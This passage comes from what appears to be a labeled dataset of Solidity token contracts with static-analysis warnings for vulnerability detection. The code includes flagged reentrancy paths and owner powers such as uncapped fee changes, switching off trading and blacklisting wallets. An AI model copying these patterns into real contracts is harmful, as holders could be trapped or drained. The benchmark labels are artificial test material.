openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 9dc3c1b\n\t\t// reentrancy-eth | ID: 458b543\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 9dc3c1b\n\t\t// unused-return | ID: 2be27ec\n\t\t// reentrancy-eth | ID: 458b543\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 9dc3c1b\n\t\t// unused-return | ID: 04fd7d3\n\t\t// reentrancy-eth | ID: 458b543\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 9dc3c1b\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 458b543\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: 9dc3c1b\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet cannot be the zero address\"\n );\n _taxWallet = newTaxWallet;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10334.sol", "size_bytes": 22343, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract Amazein is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Amazein\";\n\n string private constant _symbol = \"74J\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 100000000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 3;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 15;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 792035f): Amazein._developmentAddress should be constant \n\t// Recommendation for 792035f: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xBd6553610b44C84b0A3db006783b41FC6131bcd6);\n\n\t// WARNING Optimization Issue (constable-states | ID: 15c3087): Amazein._marketingAddress should be constant \n\t// Recommendation for 15c3087: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xBd6553610b44C84b0A3db006783b41FC6131bcd6);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 559555b): Amazein.uniswapV2Router should be immutable \n\t// Recommendation for 559555b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0b809a1): Amazein.uniswapV2Pair should be immutable \n\t// Recommendation for 0b809a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 1000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5b608a): Amazein.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f5b608a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 888e107): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 888e107: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b353cd9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b353cd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 888e107\n\t\t// reentrancy-benign | ID: b353cd9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 888e107\n\t\t// reentrancy-benign | ID: b353cd9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c4b669): Amazein._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c4b669: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b353cd9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 888e107\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b51aab3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b51aab3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9cb6ae2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9cb6ae2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1c8100): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1c8100: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: b51aab3\n\t\t\t\t// reentrancy-benign | ID: 9cb6ae2\n\t\t\t\t// reentrancy-eth | ID: f1c8100\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b51aab3\n\t\t\t\t\t// reentrancy-eth | ID: f1c8100\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9cb6ae2\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 9cb6ae2\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9cb6ae2\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 9cb6ae2\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: b51aab3\n\t\t// reentrancy-benign | ID: 9cb6ae2\n\t\t// reentrancy-eth | ID: f1c8100\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 888e107\n\t\t// reentrancy-events | ID: b51aab3\n\t\t// reentrancy-benign | ID: 9cb6ae2\n\t\t// reentrancy-benign | ID: b353cd9\n\t\t// reentrancy-eth | ID: f1c8100\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 888e107\n\t\t// reentrancy-events | ID: b51aab3\n\t\t// reentrancy-eth | ID: f1c8100\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: f1c8100\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: f1c8100\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: b51aab3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: f1c8100\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: f1c8100\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 9cb6ae2\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f9777da): Missing events for critical arithmetic parameters.\n\t// Recommendation for f9777da: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: f9777da\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: f9777da\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: f9777da\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: f9777da\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 89e5f83): Amazein.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 89e5f83: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 89e5f83\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8b8ffbc): Amazein.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 8b8ffbc: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 8b8ffbc\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 506c394): Amazein.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 506c394: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 506c394\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n", "file_name": "solidity_code_10335.sol", "size_bytes": 23061, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DTRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 560946b): DTRUMP._taxWallet should be immutable \n\t// Recommendation for 560946b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d91179c): DTRUMP._initialBuyTax should be constant \n\t// Recommendation for d91179c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27615da): DTRUMP._initialSellTax should be constant \n\t// Recommendation for 27615da: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9db1960): DTRUMP._reduceBuyTaxAt should be constant \n\t// Recommendation for 9db1960: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4b0629): DTRUMP._reduceSellTaxAt should be constant \n\t// Recommendation for a4b0629: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1dae018): DTRUMP._preventSwapBefore should be constant \n\t// Recommendation for 1dae018: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Darth Trump\";\n\n string private constant _symbol = unicode\"DTRUMP\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93721ed): DTRUMP._taxSwapThreshold should be constant \n\t// Recommendation for 93721ed: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ba9c26): DTRUMP._maxTaxSwap should be constant \n\t// Recommendation for 6ba9c26: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n mapping(address => uint256) private cooldownTimer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1550828): DTRUMP.cooldownTimerInterval should be constant \n\t// Recommendation for 1550828: Add the 'constant' attribute to state variables that never change.\n uint8 public cooldownTimerInterval = 1;\n\n uint256 private lastExecutedBlockNumber;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d87ee63): DTRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d87ee63: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n 